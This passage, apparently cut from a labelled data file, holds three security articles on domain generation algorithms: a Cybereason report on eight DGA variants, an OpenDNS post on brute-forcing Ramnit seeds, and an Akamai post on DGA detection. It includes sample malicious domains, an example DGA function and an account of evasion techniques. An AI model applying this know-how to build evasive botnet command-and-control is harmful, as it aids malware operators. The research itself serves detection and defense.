ACCOUNT","1","1","0","1","0","1","1","0","1","1","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0" -"Cybereson-Lab-Analysis-Dissecting-Domain-Generation-Algorithms-Eight-Real-World-DGA-Variants \xc2\xa92016 Cybereason. All rights reserved. 1 Dissecting Domain Generation Algorithms Eight Real World DGA Variants Cybereason Lab Analysis \xc2\xa92016 Cybereason. All rights reserved. 2 Even though attackers use various tools to compromise a network, there are core activities that form the foundation of each malicious operation. ESTABLISHING COMMAND & CONTROL One essential component is establishing command & control (C&C) communication between the attacker and hacked network. Detecting and blocking the attacker\xe2\x80\x99s C&C attempts is a useful approach for shutting down a variety of malicious operations. A COMMON C&C METHOD DGAs have quickly become the main method attackers use to remotely communicate with the sophisticated malicious tools they\xe2\x80\x99ve created. Adversaries have stopped using hard-coded domain lists and IP addresses, which are useless once blocked. DGAs by comparison are easy to implement, difficult to block, and may be impossible to predict in advance and can be quickly modified if the previously used algorithm becomes known. A DGA typically has three components: \xe2\x80\xa2 A time-sensitive \xe2\x80\x9cseed\xe2\x80\x9d \xe2\x80\xa2 A domain \xe2\x80\x9cbody\xe2\x80\x9d generator that uses this seed \xe2\x80\xa2 A set of top-level domains (TLDs) Often, the seed is simply the current date in some standard format. The domain body generator is the main part of a DGA, and can basically be anything\xe2\x80\x95a random string of characters, concatenation of random words, a constant part followed by a changing suffix, and so on. The set of TLDs, however, must contain real-world values that determine under which Web entities the generated domains are registered. TRADITIONAL METHODS FAIL TO DETECT AND BLOCK DGAS Even when a certain DGA is known (for example, by reverse engineering a malware sample), it\xe2\x80\x99s still difficult\xe2\x80\x95or even impossible\xe2\x80\x95to effectively block it. First, there is the sheer number of possible domains that can be generated. Gameover Zeus, for example, generates 1,000 domains every day. This amounts to 365,000 domains that need to be generated in advance and blocked, which would strain on firewalls and other network-filtering solutions. And that\xe2\x80\x99s just for one, single DGA for a year. While the amount of domains that need to be blocked is problematic and some registrars are very uncooperative with law enforcement agencies, the seed can be the real issue. The date can be predicted indefinitely, but it\xe2\x80\x99s not the only value that can constantly change. The DGA can use, for example, the daily trending hashtag on Twitter, the current exchange rate of the U.S. dollar to the Japanese yen, the temperature http://www.cybereason.com/the-fbi-vs-gameover-zeus-why-the-dga-based-botnet-wins/ \xc2\xa92016 Cybereason. All rights reserved. 3 in Rio de Janeiro and basically any value that can be reliably obtained via the Internet by both the malware and its operator. Predicting these values in advance is of course impossible, and most filtering solutions do not support dynamic generation of domains to block. Law enforcement and government agencies from across the world, including the FBI, have attempted to take control over these domains at the source by going after the registrars, as seen in Operation Tovar. But even government organizations have limits to their power. In the case of Operation Tovar, the FBI, was unable to take over domains registered under the Russian TLD. And accessing the TLD name servers requires spending huge amounts of time and effort to obtain a warrant, which had to be renewed every six months. Some researchers have tried to detect randomly-generated domains by their patterns, without knowing the algorithm in advance, and had some moderate success. The problem with this approach is two-fold. First, there is a strong chance for false positives, as many legitimate websites use load-balancing servers and other strange looking domain names, and the tiny ratio of DGA traffic compared to regular traffic makes false positives almost a certainty. Secondly, DGA body generators can take many forms and aren\xe2\x80\x99t necessarily a long string of random characters (see the following examples, detected in Cybereason customer environments). These domains can't be detected using traditional security methods. CYBEREASON DETECTS NEW DGA VARIANTS The Cybereason platform uses a unique approach for DGA detection, looking for behaviors associated with DGAs instead of looking for DGA variants. Using this approach, Cybereason Labs has identified new DGA variants in customer environments. We hereby describe these variants and the outcome of our investigation. https://en.wikipedia.org/wiki/Operation_Tovar https://en.wikipedia.org/wiki/Operation_Tovar \xc2\xa92016 Cybereason. All rights reserved. 4 Seven random letters, prefixed by a subdomain. The subdomains seen include \xe2\x80\x9cflag\xe2\x80\x9d followed by a number and \xe2\x80\x9cpop\xe2\x80\x9d .ru .com EIGHT DGA VARIANTS DISSECTED BY CYBEREASON Name \xe2\x80\x9cBody\xe2\x80\x9d Used TLDs Unknown Russian Two English words chosen and concatenated from a list of 384 (0x180) words. At least three variants were seen, each with a different words list .netWord-based Necurs 8-20 random letters .ac (Ascension Isl) .bz (Belize) .cc (Cocos Islands) .cm (Cameroon) .co (Colombia) .cx (Christmas Isl) .de (Germany) .eu (European Union) .ga (Gabon) .im (Isle of Man) .in (India) .ir (Ireland) .jp (Japan) .ki (Kiribati) .kz (Kazakhstan) .la (Laos) .me (Montene- gro) .mn (Mongolia) .ms (Montserrat) .mu (Mauritius) .mx (Mexico) .nf (Norfolk Isl) .nu (Niue) .pw (Palau) .ru (Russia) .sc (Seychelles) .sh (Saint Hel- ena) .so (Somalia) .su (Soviet Union) .sx (Sint Maarten) .tj (Tajikistan) .to (Tonga) .tv (Tuvalu) .tw (Taiwan) .ug (Uganda) .us (USA) .org .pro .net .com .bit .biz .xxx Dridex Random English words concatenated together, sometimes offsetted or broken .me (Montenegro) .mn (Mongolia) Angler exploit-kit 11-19 random letters and digits, though letters are much more likely .com Unknown DWORD-based A random DWORD value, in its textual hexadecimal representation .com .net .info Pykspa 5-11 random letters .com, .net, .org, .info .cc (Cocos Islands) Unknown Punycode-like Long Punycode-like string (starts with \xe2\x80\x9cwww.xn--\xe2\x80\x9d) with a constant part and a random part which is six random digits .com \xc2\xa92016 Cybereason. All rights reserved. 5 1. UNKNOWN RUSSIAN DGA What is it? A Russian malware using an unknown DGA. Mechanism of Action Each day, 35 domains are generated by randomly selecting seven letters, suffixing them with either the .ru or the .com top-level domains and prefixing them with the word \xe2\x80\x9cfive\xe2\x80\x9d followed by a number. This is unusual, since most DGAs do not bother with any subdomain, and perhaps this is why it\xe2\x80\x99s done in this case, to give some semblance of legitimacy. The malicious code usually injects itself into explorer.exe to evade detection. The following is a screenshot of the detected DGA in a customer environment: \xc2\xa92016 Cybereason. All rights reserved. 6 Another very similar variant was detected on another machine in the same organization, but in this case only nine domains are generated, and the prefix is the constant word \xe2\x80\x9cpop\xe2\x80\x9d: see the screenshot below. \xc2\xa92016 Cybereason. All rights reserved. 7 2. WORD-BASED DGA What is it? This seems to be the same DGA as an unnamed malware analyzed by Crowdstrike in 2013. Mechanism of Action Domains are generated by randomly choosing two English words from a hard-coded list and concatenating them together under the .net top-level domain. With a list of 384 (0x180) words, this comes to approximately 150,000 possible combinations. The difficulty of detecting this simple algorithm is that the domains do not seem to be randomly generated, and the commonly used words may appear in many legitimate domain names. However, it seems that this malware may use several different word lists. By simply replacing this list, the attackers can completely evade detection of the old algorithm. This includes words such as \xe2\x80\x9cjuly,\xe2\x80\x9d \xe2\x80\x9ctable,\xe2\x80\x9d \xe2\x80\x9ccity,\xe2\x80\x9d \xe2\x80\x9cfavor,\xe2\x80\x9d \xe2\x80\x9cdish\xe2\x80\x9d and others. https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf \xc2\xa92016 Cybereason. All rights reserved. 8 3. NECURS DGA What is it? A nasty backdoor malware. Mechanism of Action Randomly-generated strings of eight to 20 characters in length suffixed with one of the many multiple exotic top-level-domains, such as .ga (Gabon), .im (Isle of Man) and .sc (Seychelles). This makes it harder for law enforcement agencies to take down these domains. The following are sample domains detected by Cybereason: QUJFVNN.TO CRWKBMX.TW FFJVGCIF.MN JNHUTIIV.TV YJENASPDAN.IN AODXYTMXLB.COM OLKQXMAEUIWYX.XXX BPWENCSDVRJXJI.PRO SNDXKVGEFQQCFCTJ.PW FQOXIBDVBYCNSAPPXC.NU DOOKMSWEMEXLTBSUAL.SU OPCALVWELIIISUHXARKR.BIT \xc2\xa92016 Cybereason. All rights reserved. 9 4. DRIDEX DGA What is it? Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. What does it do? Concatenates English words and parts of words chosen in random from a small list, suffixed by the .mn (Mongolia) and .me (Montenegro) top-level domains. Unlike the malware described by Crowdstrike, in this variant the words are often broken, shifted and padded with random characters, significantly increasing the number of possible combinations and making detection much harder. The following are sample domains detected by Cybereason: CLIENTALALAXP.MN CLIENTALNOTHING.ME USERALCLICLIENT.ME AGENTCLIENTCLIENT.ME JSCJSCAXPCLIALLOW.ME JSCCLIENTAGENTDISA.ME DISAALALLOWDISALLOW.ME ALLOWCLIENTAXPALAGENT.ME CLIAGENTDISALLOWALLOW.ME CLIALJSCNOTJCLIENTCLI.ME https://www.proofpoint.com/us/threat-insight/post/Not-Yet-Dead \xc2\xa92016 Cybereason. All rights reserved. 10 5. ANGLER EXPLOIT-KIT DGA What is it? A widely used exploit kit. Mechanism of Action While the domains generated by this DGA were previously connected to the Angler exploit kit, they do not appear to be generated by the known DGA, and may be a new variant. The algorithms strings randomly chosen characters and digits under the .com top-level domain. The following are sample domains detected by Cybereason: V6PNSC80LL.COM B9U5R3RJMPP.COM YM5R99EX5Q8.COM MBSIGLGFQIH2.COM GSJZNQCOHIKO.COM VEG2671WMX88.COM DLNOYYVQSOZHH.COM BFZFLQEJOHXMQ.COM AJFSZWOMNHDFCYY.COM EXAGQLXTMOPSFT8.COM FWOGZPAGLGOVLIMY.COM JVRRMMKYEJDEYLCQ.COM LKLHJONIUDKKHCWO.COM CADDBSGSCNYDZOH5F.COM CEUNNFOHGWJYAUA9H.COM NQZHTFHRMYMTVBQJE.COM OVLREWGRHHVAJBOTX.COM OTPWFJOKPOZOOMNK2O.COM CNEISZDKHZEKQEUBUT.COM EMUXMJDBTNWCQRFN0G.COM OWASALWIGURWYVNNPV.COM PMNYPARTDBVYHCZDJS.COM https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/ \xc2\xa92016 Cybereason. All rights reserved. 11 6. UNKNOWN DWORD-BASED DGA What is it? Unknown malware injected inside svchost.exe. Mechanism of Action The DGA of this malware seems to generate a random DWORD (a 32-bit integer, with a maximum value of approximately 4 million) then converts it to its hexadecimal format and suffix the result with either the .com, .net or .info TLDs. This DGA has not been disclosed before online, making it unique. This appears to be the first time this DGA has been discussed, making it a new discovery. There aren\xe2\x80\x99t any references to this DGA online. The following are sample domains detected by Cybereason: 04F645A5.COM 15AF64DD.INFO 2518F789.COM 2AF14345.INFO 39E076F7.INFO 3E0CA533.NET 428BF932.COM 4E32A34D.INFO 59D1FC99.NET 6CC69779.NET 78E05B8B.NET 7C7F4A6E.COM 974381F6.NET 9890D1FA.INFO B06CB4A1.NET C50A4E79.COM D3270391.NET D41FCED5.NET DB0311C2.INFO F7A1F33B.INFO \xc2\xa92016 Cybereason. All rights reserved. 12 7. PYKSPA DGA What is it? A stealthy botnet that uses Skype. Mechanism of Action Randomly generated strings of characters of varying lengths suffixed with the .com, .net, .org, .info and .cc (Cocos Islands) top-level domains. The following are sample domains detected by Cybereason: CFAOBN.COM QQQCLQFO.CC HYEHGNR.NET SWGDOM.INFO FVGCWBMX.ORG HGZGHCYJ.NET USCNXQES.ORG GVMVMEQD.NET LEZBMAH.INFO IJDVHZYQS.NET JUKIULBI.INFO ASOOGYCRE.NET EYHKHBTPYG.NET PDOYVFIGFG.NET IXLMYGMNDWJ.CC CIJFTOCHT.INFO ATRAEAUZWUJ.ORG YRWRWYZSQL.INFO XGUGUSBBOK.INFO RZXFYIIXJOE.INFO http://www.johannesbader.ch/2015/03/the-dga-of-pykspa/ http://www.eurecom.fr/en/publication/3093/download/rs-publi-3093.pdf \xc2\xa92016 Cybereason. All rights reserved. 13 8. UNKNOWN PUNYCODE-LIKE DGA What is it? Unknown malware that generates domains that look like Punycode\xe2\x80\x95non-English domain names\xe2\x80\x95but are, in fact, randomly-generated gibberish. The following are sample domains detected by Cybereason: WWW.XN--ZALGO003446-SJGB60AIGHL2I8JC3B0A2A97FTBLL0CZA.COM WWW.XN--ZALGO012841-SJGB60AIGHL2I8JC3B0A2A97FTBLL0CZA.COM WWW.XN--ZALGO029243-SJGB60AIGHL2I8JC3B0A2A97FTBLL0CZA.COM WWW.XN--ZALGO075952-SJGB60AIGHL2I8JC3B0A2A97FTBLL0CZA.COM SUMMARY Instead of trying to fight each DGA variant separately, a nearly impossible task, Cybereason concentrates on the ripples it leaves. We detect the technique, not the variant. And since no legitimate process will ever use DGA, just detecting it incriminates the process as malicious. This is a part of Cybereason's ""Aikido approach"": Using the opponent's strength against him/her. The more adversaries try to hide, the more suspicious they appear. https://en.wikipedia.org/wiki/Punycode http://www.cybereason.com/what-cyber-security-can-learn-from-japanese-martial-arts/ \xc2\xa92016 Cybereason. All rights reserved. 14 Cybereason was founded in 2012 by a team of ex-military cyber security experts to revolutionize detection and response to cyber attacks. The Cybereason Malop Hunting Engine identifies signature and non-signature based attacks using big data, behavioral analytics, and machine learning. The Incident Response console provides security teams with an at-your-fingertip view of the complete attack story, including the attack timeline, root cause, adversarial activity and tools, inbound and outbound communication used by the hackers, as well as affected endpoints and users. This eliminates the need for manual investigation and radically reduces response time for security teams. The platform is available as an on premise solution or a cloud-based service. Cybereason is privately held and headquartered in Boston, MA with offices in Tel Aviv, Israel and Tokyo, Japan. \xc2\xa9 All Rights Reserved. Cybereason 2016 About the Author Uri Sternfeld Research Team Leader, Cybereason Labs Uri is Team Leader of the Research Team at Cybereason Labs. He has more than 15 years of experience in software design, cybersecurity and technology research. His areas of focus are cyber-forensics, reverse engineering and data mining automation.","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Using Algorithms to Brute Force Algorithms - OpenDNS Umbrella Blog Blog All Research Engineering Product Big Data Global Network Security Graph Community and Partners About Search Back to Umbrella.cisco.com Using Algorithms to Brute Force Algorithms By Anthony Kasza February 18, 2015 One of the main responsibilities the OpenDNS labs team is tasked with is identifying new malicious infrastructure. In this blog, I\xe2\x80\x99ll discuss how we discovered new malicious domains from a well known malware family. Many DGAs work by feeding a date into a mathematical function to generate a string of characters. Typically, a TLD is then appended to the end of the string, thus forming domain name. This domain name is then contacted for instructions. If the domain name does not resolve to an IP address or the domain does not respond with instructions, the process is repeated. This is a common method of obscuring the command and control servers a malware uses. More DGAs Dhia Mahjoub, Steve Mckinney, and I\xc2 recently presented our findings from\xc2 tracking the new Gameover Zeus botnet at ISOI. The newGOZ implants used this DGA technique and introduced salts (a.k.a. magic numbers) to the function for added complexity. Two known salts were found in newGOZ binaries, and Steve, a security researcher at Cisco, suggested the idea of brute forcing the salt space in an attempt to identify additional salts. Domain generation algorithms aren\xe2\x80\x99t a new concept. Neither is the Ramnit family of malware. Recently, Johannes Bader published the function Ramnit uses to generate its command and control domains. An interesting characteristic about the algorithm Ramnit uses is that it does not include a date or timestamp as input to the generation algorithm it uses. This means that, unlike many other malware families that make use of DGAs, Ramnit does not generate a new set of domains depending on the date. In contrast to the newGOZ DGA, Ramnit\xe2\x80\x99s domain generation pattern is not periodic. Below is a picture of the DNS query volume we saw for one of the newGOZ command and control domains: The newGOZ algorithm uses the current date as input to its DGA. This causes newGOZ to generate a new set of domains each day. Each domain in the set of domains generated for a particular day has a similar query volume pattern to the above graph. Below is a picture of the query volumes OpenDNS has seen for a Ramnit command and control domain: Math Fights Math Taking the algorithm implementation from Bader\xe2\x80\x99s blog, the following steps were taken: The number of domains to generate was statistically set to one A Python generator was added to loop over the seed space (from\xc2 0x00000000 through 0xFFFFFFFF) The first domain Ramnit would contact for a seed is calculated The domain from step three was queried against\xc2 OpenDNS\xe2\x80\x99s resolver logs at a random hour from a random recent day This determines if OpenDNS has\xc2 received\xc2 queries for this domain If no queries have been seen the domain is ignored and the next seed from step two is used in step three If we have seen queries for the domain name the seed from step two is set aside for further processing Once a batch of possible seeds\xc2 is identified, we calculate\xc2 the first 500 domains the DGA using\xc2 each\xc2 seed would produce We\xc2 observe the query volumes for those 500 domains over the last week This step validates the findings by using client queries This step\xc2 identifies potential false positives (the Ramnit DGA does collide with legitimate domain names) This step determines the size of the set of domains for each seed is (different seeds do, in fact, generate different domain set sizes) Each seed and its count of domains to generate is recorded These steps are continued until the seed space in step two is exhausted Due to the first step of randomly selecting a query hour for the first domain generated from each seed, this method has potential\xc2 false negatives. It does, however,\xc2 identify a minimum number of seeds in use by Ramnit binaries.\xc2 Unfortunately, our\xc2 current system needs optimizations. Out of the approximately\xc2 4 billion\xc2 possible seeds, we\xe2\x80\x99ve only generated and inspected about three percent. Fortunately, this system has been able to identify a few thousand Ramnit command and control domains we were not previously blocking. Clients Querying These Domains One interesting note about the client queries for the\xc2 Ramnit command and control domains identified this way is that many of the client IP addresses querying for these domains are geographically concentrated in\xc2 only a few countries (GB, AU, IE, and US) and many of the IP addresses query for domains generated by multiple seeds.\xc2 Explanations for this pattern in client queries include: a single Ramnit implant is using multiple seeds multiple Ramnit infections behind a single public IP address are using different seeds malware sandboxes detonating Ramnit samples are using OpenDNS\xe2\x80\x99s resolvers Future work for this research includes parallelization to speed up the brute forcing of seed space, generalizing the system for use with other malware families\xe2\x80\x99 DGAs, and further exploring the behavior of compromised clients. This post is categorized in: Malware Security Research Threat Discovery Cisco Umbrella \xc2\xa9 2019 Contact Us Privacy Policy","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Our Partners Contact Us CDN Free Trials Customer Login Free Trials English - US What We Do Products Resources Support Contact Get In TouchSocialUnder Attack? Akamai Diversity The Akamai BlogSUBSCRIBE LatestWeb PerformanceCloud SecurityMobile ExperienceMedia DeliveryCategories Home > DNS > A Death Match of Domain Generation Algorithms A DEATH MATCH OF DOMAIN GENERATION ALGORITHMS AkamAI ResearchBy AkamAI Research January 9, 2018 6:57 AM 0 Comments By Hongliang Liu and Yuriy Yuzifovich Originally posted on December 29, 2017 Today's post is all about DGA's (Domain Generation Algorithms): what they are, why they came into existence, what are some use cases where they are used, and, most importantly - how to detect and block them. As we will demonstrate here, the most effective defense against DGAs is a combination of traditional methods with modern machine intelligence. DGA: WHAT AND WHY? The dictionary definition of Domain generation algorithms (DGA) is ""algorithms seen in various families of malware that are used to periodically generate a large number of domain names that can be used as rendezvous points with their command and control servers"" (https://en.wikipedia.org/wiki/Domain_generation_algorithm ). In the real-life recursive DNS traffic we monitor at Nominum (- now part of Akamai) we observe a lot of 'strange' DNS queries, many of them generated by malware DGAs; below are some examples for domains generated by the Dyre banking trojan (aka Dyreza): t3622c4773260c097e2e9b26705212ab85.ws. u83ccf36d9f02e9ea79a9d16c0336677e4.to. v02bec0c090508bc76b3ea81dfc2198a71.in. wa9e4628c334324e181e40f33f878c153f.hk. xdcc5481252db5f38d5fc18c9ad3b2f7fd.cn. yf32d9ac7f0a9f463e8da4736b12d7044a.tk. Malware creators use algorithmically generated domains as a diversion mechanism: they flood the DNS stream with requests for thousands of DGA-based domains but select only a few domains to provide the true C&C service, where the malware can find its mothership and communicate for instruction. Meanwhile, poor security researchers get overloaded with work trying to discover and block the selected few. Other than creating a diversion, malware creators use DGA's because they are harder to detect compared to hardcoded IPs or domain names; by not hardcoding the location of the C&C in the malware binary itself, the attacker can better hide and protect the mothership; Attackers keep creating new DGAs, and once again - create work overload for security researchers, who need to reverse-engineer binaries, or use different machine intelligence driven methods, in order to discover the DGAs. In this article, we are going to discuss this deathmatch between attackers and security researchers on DGA battleground. THE DGA BATTLEGROUND The general methodology of any DGA is using a deterministic pseudo-random generator (PRNG) to generate a list of candidate domain names. The seed of a PRNG can be the current date, some magic numbers, an exchange rate, etc. This random generator can be a single uniform distribution generator, e.g. use a combination of bitshift, xor, divide, multiply, and modulo operations to generate a string sequence as the domain name (such as in Conficker, Ramnit, and others); it can also be a rule generator, which selects from some knowledge base (such as in Suppobox). For example, the following DGA algorithm uses the current date as the seed, and a PRNG to generate a char sequence for the DGA domains (https://en.wikipedia.org/wiki/Domain_generation_algorithm): def generate_domain(year, month, day): """"""Generates a domain name for the given date."""""" domain = """" for i in range(16): year = ((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFF0) << 17) month = ((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFF8) day = ((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFE) << 12) domain += chr(((year ^ month ^ day) % 25) + 97) return domain random-state-graph The key to the PRNG-based DGA methodology is a deterministic random generator, where the DGA sequence is predictable from both the malware and the attacker, so the attacker can generate and select some of these domains for C&C service, and the malware just needs to loop over and reach the chosen C&C. This part requires some agreement: both the DGA and the seed must be known by both sides before generating DGA domains. However, this agreement exchange isn't only to the malware and the attacker; anyone, like we security researchers, can replicate it even after the infection. This non-exclusive feature provides the breakthrough point for security research: by intercepting both the DGA and the seeds, one can predict the malware DGA domains and block them. To obtain the DGA algorithm itself, security researchers might need to reverse engineer the malware binary after capturing the malicious binary code. Many DGA algorithms are reverse engineered and reported by multiple projects and security blogs, such as: DGArchive https://dgarchive.caad.fkie.fraunhofer.de/ 360netlab's DGA project https://github.com/360netlab/DGA Johannes Bacher's reversing efforts https://github.com/baderj/domain_generation_algorithms. Having the DGA algorithm and knowing the DGA seed is a sufficient condition to predict DGA domains, but is not a necessary one to have the DGA domain list: we can reduce the problem to separate DGA traffic from legitimate traffic, and obtain the DGA domain list from the traffic. In DNS traffic, we can model a feature phase space where DGA domain queries and other legitimate queries are separable, where the ground truth of DGA (algorithm and seeds) are not needed, and the task can be abstracted as finding this ""golden phase"" space. There are several advanced machine learning methods to find this phase space and separate the malicious DGA from the legitimate, without reverse engineering the binary. Most of these methods use client IP vs domain visit graph features; for example: Our team's Domain2vec correlation engine uses representation learning to discover DGA clusters in real-time DNS traffic. This method builds a sequence model to learn the domain correlation and captures the malware activity since the malware needs to loop over DGA names. (See also - ""Augmented Intelligence to Scale Humans Fighting Botnets"", https://www.botconf.eu/2017/augmented-intelligence-to-scale-humans-fighting-botnets/): NCD graph Cluster Gameover Endgame's recent paper uses a shallow LSTM network to detect possible DGAs by automated learning domain name's string pattern in the neural network https://www.endgame.com/blog/technical-blog/using-deep-learning-detect-dgas 360 netlab has a long tail clustering algorithm using IP-domain co-visit matrix's self-multiplication to discover possible DGA from their passive DNS traffic -https://pc.nanog.org/static/published/meetings/NANOG71/1444/20171004_Gong_A_Dga_Odyssey__v1.pdf HP Lab and Damballa presented a belief propagation method using IP-domain co-visit graph - https://link.springer.com/chapter/10.1007%2F978-3-319-11203-9_1 These methods have reduced the strong condition to a loose yet more general condition and has solved the difficulty of obtaining both DGA and the seeds. In the later part of this post, we will talk about some cases which only these loose condition methods can detect. After obtaining the DGA algorithms, the battleground now moves on to the random seed front... MAGIC NUMBER SEEDS Some DGAs only use the current date as the seed, and hardcode some numbers in the binary; these DGA's can be easily predicted when the algorithm is reverse-engineered, for example, in Conficker families, Nymaim etc. Since the attacker's goal is to avoid detection, it becomes practical to use magic numbers as dynamic seeds. The magic number technique is very common today, and Necurs (the backdoor), Locky (the ransomware) (https://www.nominum.com/unlocking-locky/) are good examples of the combined usage of date/time and magic numbers. Magic numbers are usually combined with the date in bit-shifting and provide additional variance. Popular malware like Locky can deploy many variants with different magic numbers each to evade detection (see also - https://blogs.forcepoint.com/security-labs/lockys-new-dga-seeding-new-domains). Since DGA can generate DNS traffic with seeds, astute researchers can get the seeds by using DNS traffic and the DGA. To capture the dynamic magic number seeds, researchers usually use ""replay attack"" technique by reproducing possible DGA domains and validating it in the DNS traffic. OpenDNS, for instance, has a brute force method to search the possible numerical seeds (magic numbers) in the DNS traffic by generating all 2^32 sets of Ramnit names (https://www.slideshare.net/OpenDNS/using-algorithms-to-brute-force-algorithms-a-journey-through-time-and-namespace). This method works well not only for ramnit but also for Necurs and other DGAs, especially when the magic numbers are small. However, this method is not always useful because generating all 2^32 names can be expensive, and the malware can easily escape it by upgrading to a 2^64 seed, as already happened with the Murofet's DGA. Our team has proposed and implemented a more sophisticated hash collision method, primarily to crack down Locky's dynamic seeds (https://www.botconf.eu/2017/math-gpu-dns-cracking-locky-seeds-in-real-time-without-analyzing-samples/). Instead of using brute force linear test on all seeds with domains in the DNS traffic, this method uses GPU computing and collide the hash value of possible Locky DNS queries with real-time DNS traffic for detecting the new seeds. Beyond magic numbers, magic strings or magic domain names are also used for generating DGA domains. Currently, there are not many effective methods to detect these seeds beyond reverse engineering the binary. Other types of seeds The exchange rate of currency can be used as random seeds. Bedep the Ad/Click fraud botnet, for example, use foreign currency exchange rate as their seed (https://www.arbornetworks.com/blog/asert/bedeps-dga-trading-foreign-exchange-for-malware-domains/). Some botnets use the most popular hashtag on twitter as the DGA seed, as reported by Cybereason (http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf). The common idea behind these seeds is that they are hard to reproduce and that the seed may not be a simple number. GOOD DGA, BAD DGA The creators of DGA algorithms want to keep the uniqueness of the DGAthanthey can distinguish their C&C traffic from legitimate traffic, and also avoid collision with other DGAs. Our research has shown us that some DGAs are smarter than others. Dictionary based DGA A little twist in the way algorithmically generated domains are created in the dictionary based method. As we've seen, security researchers use features in the DNS string to separate malicious DGA traffic from legitimate traffic. The modeling work looks at attributes such as randomness, entropy and other lexical string features, which frequently generate domains with a 'random', 'non-human readable' look. (see for example https://www.r-bloggers.com/building-a-dga-classifier-part-1-data-preparation/). Some cleverly designed DGAs such as Suppobox try to evade this randomness by using dictionary words: High collision DGA DGAs like Pykspa and Virut are getting lower grades in our notebook: they have strong collisions with other legitimate names and other DGAs. Pykspa is a worm whose DGA is reverse-engineered at https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/. This DGA generates thousands of possible DGA domains using common TLDs like com, biz, net, org, info and cc, and its core domain has 6-15 chars. These thousands of domains flood the recursive DNS traffic. Because of the common TLD set and the short domain length for these huge amounts of domains, security researchers have a hard time to clearly identify and block them, even if they know the DGA + seed to predict. For example, some short domains like `wgxodod.info.` `ydnpxkv.info.` `hrvxccq.org.` have a good chance to collide with other DGAs (such as Locky), or with legitimate .com names. Virut is another type of DGA where the domain name only has 6 a-z chars with .com TLD, and the algorithm itself has a simplistic design, so the chance of a generated domain colliding with a legitimate service is very high. We have observed many domains like `wenxin.com`, which was a legitimate domain, yet it was reported as Virut by some security researcher (https://twitter.com/DGAFeedAlerts/status/917181597400600576 ). And by the way, the domain `akamai.com` follows the exact pattern of a Virut DGA. But don't get too concerned... Blocking these high collision DGA domains in a safe way requires security researchers to combine the domain prediction method with DNS traffic; Our team has recently implemented a real-time new core domain detection system (for domains never seen before), where only the predicted DGA are blocked only if identified also as a new core domain. Non DGA In DNS traffic, we've observed many 'DGA-look-alike', which are not in fact DGA domains. For example, in recent traffic we saw these 7 char .ru domains with very high infection rate: bhzlyxh.ru. qsxxzni.ru. gwjijru.ru. fyxkmbh.ru. qwoumzw.ru. kulfxxy.ru. nrxboty.ru. ... instead of a DGA, the author has hardcoded them in the binary and deployed different lists in different binaries. These names are used in Ruskill/Dorkbot as reported at http://tech.cert-hungary.hu/vulnerabilities/CH-14106 and https://github.com/360netlab/DGA/issues/36. Update: there is an ongoing discussion here https://github.com/360netlab/DGA/issues/36#issuecomment-350660012 about the DGA behind Dorkbot, where Johannes Bader has commented that Dorkbot generates these names every 10 seconds and uses as decoys. Cluster ZeroDay SUMMARY DGA is one of the most effective and most popular tools in the attackers' toolbox. It is being used by a variety of malware families to hide the location of their C&C servers, and by that maintain the robustness of the botnet. At the same time, DGAs leave a substantial footprint in the DNS traffic. In the deathmatch between DGA creators and security researchers, the attackers do their best to hide the C&C and to avoid collision with other DGAs and legitimate services, while researchers use both the traditional reverse engineering and modern machine learning to clearly identify and block these DGAs. This battle is far from over and will continue to emerge as both sides grow stronger. We will 